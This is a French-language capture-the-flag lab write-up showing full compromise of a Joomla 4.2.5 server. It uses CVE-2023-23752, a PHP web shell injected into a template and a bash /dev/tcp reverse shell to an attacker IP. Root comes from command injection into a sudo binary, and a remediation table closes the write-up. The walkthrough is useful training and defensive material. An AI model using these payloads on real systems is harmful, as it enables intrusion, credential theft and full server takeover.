Lab Samurai : Exploitation Joomla & Élévation de Privilèges
Compromission complète d'un serveur web hébergeant Joomla 4.2.5 via une divulgation d'informations non authentifiée (CVE-2023-23752), injection d'un web shell PHP dans un template, puis élévation de privilèges root via un binaire sudo vulnérable à l'injection de commandes.
Contexte & Objectifs
| Champ | Détail |
|---|---|
| Plateforme | HackSmarter |
| Lien | Accéder au Lab |
| Cible | 10.0.26.6 |
| OS | Ubuntu Linux |
| Services | SSH (22), HTTP/Apache (80) |
| CVE | CVE-2023-23752 |
| Difficulté | Facile |
Scope : Dans le cadre d'un test d'intrusion, votre équipe a identifié un serveur web intéressant. La mission est d'énumérer la cible, établir un accès initial et escalader les privilèges jusqu'à root. Aucun identifiant n'est fourni au départ.
Kill chain résumée :
Recon (Nmap) → Enum web (Feroxbuster) → Fingerprint CMS (JoomScan)
→ Exploitation CVE-2023-23752 → Web Shell PHP → Reverse Shell
→ Flag user → PrivEsc (sudo injection) → Flag root
1. Reconnaissance -Scan Nmap
On commence par identifier les services exposés sur la cible. On utilise --top-ports 100 pour cibler les ports les plus courants, -sC pour les scripts par défaut, -sV pour la détection de version, et -Pn pour ignorer le ping (utile si l'hôte ne répond pas à l'ICMP).
sudo nmap --top-ports 100 -sC -sV -Pn 10.0.26.6
Output :
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 03:53 +0200
Nmap scan report for 10.0.26.6
Host is up (0.17s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c3:5a:83:50:80:9a:61:37:05:b7:45:96:cb:ab:1d:1e (ECDSA)
|_ 256 6b:15:12:60:1b:21:d1:bf:7e:b8:c0:e8:d7:7e:7b:6b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Samurai
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Analyse :
Deux ports ouverts seulement : SSH en 22 et un serveur web Apache en 80. Le titre de la page HTTP est "Samurai", ce qui correspond au nom du lab. SSH sans credentials n'est pas notre vecteur immédiat -on s'oriente vers le port 80.
2. Énumération Web
2.1 Découverte de répertoires avec Feroxbuster
On lance une énumération de répertoires avec feroxbuster sur la wordlist common.txt. L'outil va tester chaque entrée et suivre les redirections en profondeur (récursion à 4 niveaux).
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://10.0.26.6
Output (extrait pertinent) :
301 GET http://10.0.26.6/administrator => http://10.0.26.6/administrator/
301 GET http://10.0.26.6/api => http://10.0.26.6/api/
301 GET http://10.0.26.6/cache => http://10.0.26.6/cache/
301 GET http://10.0.26.6/components => http://10.0.26.6/components/
301 GET http://10.0.26.6/images => http://10.0.26.6/images/
301 GET http://10.0.26.6/includes => http://10.0.26.6/includes/
301 GET http://10.0.26.6/language => http://10.0.26.6/language/
301 GET http://10.0.26.6/layouts => http://10.0.26.6/layouts/
301 GET http://10.0.26.6/media => http://10.0.26.6/media/
301 GET http://10.0.26.6/modules => http://10.0.26.6/modules/
301 GET http://10.0.26.6/plugins => http://10.0.26.6/plugins/
301 GET http://10.0.26.6/templates => http://10.0.26.6/templates/
200 GET http://10.0.26.6/administrator/index.php
Analyse :
L'arborescence est révélatrice : /administrator/, /components/, /modules/, /plugins/, /templates/ -c'est la structure standard d'un CMS Joomla. L'accès direct à administrator/index.php (HTTP 200) confirme que le panel d'administration est exposé publiquement.

2.2 Fingerprint du CMS avec JoomScan
On utilise JoomScan (outil OWASP) pour identifier précisément la version de Joomla et détecter d'éventuelles vulnérabilités connues.
joomscan -u http://10.0.26.6
Output :
[+] Detecting Joomla Version
[++] Joomla 4.2.5
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable ← (JoomScan ne détecte pas tout)
[+] admin finder
[++] Admin page : http://10.0.26.6/administrator/
[+] Checking robots.txt existing
[++] robots.txt is not found
[+] Finding common backup files name
[++] Backup files are not found
Analyse :
La version détectée est Joomla 4.2.5. JoomScan indique "not vulnerable" pour le core, mais cela concerne uniquement sa base de signatures -il ne couvre pas toutes les CVE récentes.

Une recherche rapide sur Joomla 4.2.5 CVE révèle la vulnérabilité CVE-2023-23752, présente jusqu'à la version 4.2.7 incluse.
3. Exploitation -CVE-2023-23752
Comprendre la vulnérabilité
CVE-2023-23752 est une faille de divulgation d'informations non authentifiée (Unauthenticated Information Disclosure) affectant Joomla versions 4.0.0 à 4.2.7.
L'API REST de Joomla expose des endpoints sensibles sous /api/index.php/v1/. En raison d'un contrôle d'accès défaillant, certains de ces endpoints -notamment ceux listant les utilisateurs et la configuration du site -sont accessibles sans aucune authentification.
L'endpoint critique : /api/index.php/v1/config/application?public=true
Il retourne en JSON les informations de configuration de la base de données, y compris le mot de passe en clair.
Téléchargement et lancement de l'exploit
searchsploit -m 51334
Exploit: Joomla! v4.2.8 - Unauthenticated information disclosure
URL: https://www.exploit-db.com/exploits/51334
Path: /usr/share/exploitdb/exploits/php/webapps/51334.py
Codes: CVE-2023-23752
Verified: True
Copied to: /home/zcook/51334.py
chmod +x 51334.py
./51334.py http://10.0.26.6
Output :
Users
[769] Oda (Miyamoto) - oda@local.local - Super Users
Site info
Site name: Samurai
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false
Database info
DB type: mysqli
DB host: localhost
DB user: joomla425
DB password: Pa847word987@Joomla456
DB name: Dbjoomla
DB prefix: iemj4_
Analyse :
On obtient :
- Un compte Super User :
Oda (Miyamoto)-oda@local.local - Les identifiants de la base de données :
joomla425/Pa847word987@Joomla456
Le mot de passe de la BDD est souvent réutilisé comme mot de passe admin Joomla. On teste directement sur le panel.
Connexion au panel d'administration
On se rend sur http://10.0.26.6/administrator/index.php et on tente :
- Login :
oda@local.local - Password :
Pa847word987@Joomla456

Accès confirmé. Nous sommes Super Admin sur l'interface Joomla.

4. Obtention d'un Reverse Shell
4.1 Injection d'un Web Shell via les templates
En tant qu'administrateur Joomla, on peut éditer les fichiers PHP des templates directement depuis l'interface. C'est notre vecteur pour exécuter du code côté serveur.
On navigue vers :
http://10.0.26.6/administrator/index.php?option=com_templates&view=templates&client_id=1

On sélectionne le template actif, puis on édite le fichier index.php. On y insère en haut du fichier le web shell suivant :
<?php
if(isset($_REQUEST["cmd"])){
echo "<pre>";
$cmd = ($_REQUEST["cmd"]);
system($cmd);
echo "</pre>";
die;
}
?>
Comment fonctionne ce web shell ?
Ce code PHP minimaliste transforme le serveur en terminal à distance :
- Écoute : Il vérifie si un paramètre
cmdest présent dans la requête HTTP (GET ou POST). - Exécution : La fonction
system()passe la commande directement au shell du serveur. - Affichage : Le résultat est affiché dans le navigateur entre des balises
<pre>pour préserver la mise en forme.
[!WARNING] On utilise
$_REQUEST(qui accepte GET et POST) plutôt que$_GETseul pour plus de flexibilité lors de l'exploitation.
On sauvegarde le fichier. Le web shell est maintenant actif.

4.2 Test du Web Shell
On vérifie l'exécution de commandes en appelant whoami :
http://10.0.26.6/administrator/index.php?cmd=whoami
Le serveur retourne www-data -notre web shell fonctionne.
4.3 Lancement du Reverse Shell
On prépare notre listener côté attaquant :
nc -lvnp 4444
Puis on déclenche le reverse shell via le web shell. La commande à exécuter côté serveur est :
bash -c 'bash -i >& /dev/tcp/10.200.51.201/4444 0>&1'
Encodée en URL pour passer dans le paramètre cmd :
http://10.0.26.6/administrator/index.php?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.200.51.201/4444+0%3E%261%27
Output côté Kali :
listening on [any] 4444 ...
connect to [10.200.51.201] from (UNKNOWN) [10.0.26.6] 51356
bash: cannot set terminal process group (820): Inappropriate ioctl for device
bash: no job control in this shell
www-data@streetcoder:/var/www/html/administrator$
On a un shell ! On stabilise la session pour obtenir un terminal interactif complet :
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z pour mettre en arrière-plan
stty raw -echo; fg
4.4 Vérification de l'accès
www-data@streetcoder:/var/www/html/administrator$ whoami
www-data
www-data@streetcoder:/var/www/html/administrator$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Nous sommes www-data -l'utilisateur du serveur web Apache. Accès initial établi.
5. Flag Utilisateur
Le répertoire par défaut d'Apache est /var/www/. On inspecte son contenu :
www-data@streetcoder:/var/www/html/administrator$ ls -la /var/www/
total 12
drwxr-xr-x 4 root root 4096 Mar 6 09:36 .
drwxr-xr-x 14 root root 4096 Mar 6 08:50 ..
-rw-r----- 1 root www-data 23 Mar 6 09:36 user.txt
drwxr-xr-x 2 root root 4096 Mar 6 08:50 html.bak_2026-03-06_084923
drwxr-xr-x 18 www-data www-data 4096 Apr 7 17:09 html
Le fichier user.txt est lisible par www-data (groupe www-data, permissions r-----). On le lit :
www-data@streetcoder:/var/www/html/administrator$ cat /var/www/user.txt
flag{Tachi_794-1185}
[!NOTE] Le nom du flag fait référence au tachi, un sabre japonais à longue lame utilisé entre les périodes Heian et Muromachi (794–1185). Thème samouraï cohérent avec le nom du lab.
6. Élévation de Privilèges
6.1 Analyse des permissions sudo
On vérifie ce que www-data peut exécuter avec des privilèges élevés :
www-data@streetcoder:/var/www/html/administrator$ sudo -l
Matching Defaults entries for www-data on streetcoder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
use_pty
User www-data may run the following commands on streetcoder:
(root) NOPASSWD: /opt/backup/DbMaria
Analyse :
www-data peut exécuter /opt/backup/DbMaria en tant que root, sans mot de passe. Ce binaire est notre cible pour l'élévation de privilèges.
6.2 Inspection du binaire DbMaria
www-data@streetcoder:/opt/backup$ ls -l /opt/backup/
total 16
-rwsr-xr-x 1 root root 16128 Mar 6 09:38 DbMaria
www-data@streetcoder:/opt/backup$ file DbMaria
DbMaria: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=dfb0bf8319563ccca311f917b82f9ca0a051204f,
for GNU/Linux 3.2.0, not stripped
C'est un binaire ELF 64 bits avec le bit SUID positionné (-rwsr-xr-x). On l'analyse avec strings pour comprendre ce qu'il fait :
www-data@streetcoder:/opt/backup$ strings DbMaria
/lib64/ld-linux-x86-64.so.2
system
setuid
snprintf
libc.so.6
Usage: %s <database>
mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql
Analyse -la vulnérabilité :
La ligne clé est :
mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql
Le %s est un placeholder de type snprintf -le binaire construit la commande en y insérant directement l'argument fourni par l'utilisateur, sans aucun nettoyage ni validation.
C'est une vulnérabilité d'injection de commandes (Command Injection). En injectant un point-virgule ; dans l'argument, on peut terminer prématurément la commande mariadb-dump et enchaîner une commande arbitraire exécutée avec les privilèges root.
Schéma de l'injection :
Commande construite sans injection :
mariadb-dump [...] -u root Dbjoomla > /tmp/backup.sql
Commande construite avec injection ('test; /bin/bash -p #') :
mariadb-dump [...] -u root test; /bin/bash -p # > /tmp/backup.sql
\_____________________________/ \_____________/ \_________________/
mariadb-dump échoue bash root lancé commenté par #
Le # en fin de payload commente le > /tmp/backup.sql qui aurait empêché l'exécution du shell.
6.3 Exploitation
www-data@streetcoder:/opt/backup$ sudo /opt/backup/DbMaria 'test; /bin/bash -p #'
mariadb-dump: Got error: 1049: "Unknown database 'test'" when selecting the database
[... output mariadb-dump ignoré ...]
root@streetcoder:/opt/backup# whoami
root
root@streetcoder:/opt/backup# id
uid=0(root) gid=0(root) groups=0(root)
Nous sommes root.
7. Flag Root
root@streetcoder:/opt/backup# cat /root/root.txt
flag{Katana_1603-1868}
[!NOTE] Le katana est le sabre emblématique des samouraïs, répandu à partir de la période Edo (1603–1868). La progression Tachi → Katana suit l'évolution historique de l'armement samouraï -une easter egg dans le nommage des flags.
8. Conclusion & Remédiation
Chaîne d'attaque complète
1. Nmap → Apache + SSH exposés
2. Feroxbuster → Structure Joomla identifiée
3. JoomScan → Joomla 4.2.5 détecté
4. CVE-2023-23752 → Credentials BDD en clair via API REST non protégée
5. Panel admin → Password réutilisé → accès Super Admin
6. Template edit → Web Shell PHP injecté
7. Reverse shell → Accès www-data
8. sudo -l → DbMaria NOPASSWD
9. strings → Injection de commandes identifiée
10. sudo inject → Shell root obtenu
Vecteurs vulnérables
| Vecteur | Problème | Remédiation |
|---|---|---|
| Joomla 4.2.5 | CVE-2023-23752 : API REST sans auth | Mettre à jour vers Joomla ≥ 4.2.8 |
| Réutilisation de MDP | MDP BDD = MDP admin | Utiliser des mots de passe distincts |
| Panel admin exposé | /administrator/ accessible publiquement | Restreindre l'accès par IP ou .htaccess |
| Template éditable | Modification de fichiers PHP depuis l'UI | Désactiver l'édition de fichiers en production |
| DbMaria sudo NOPASSWD | Injection de commandes non filtrée | Valider/échapper les inputs ; éviter NOPASSWD sur des binaires custom |
Writeup rédigé par ZCook
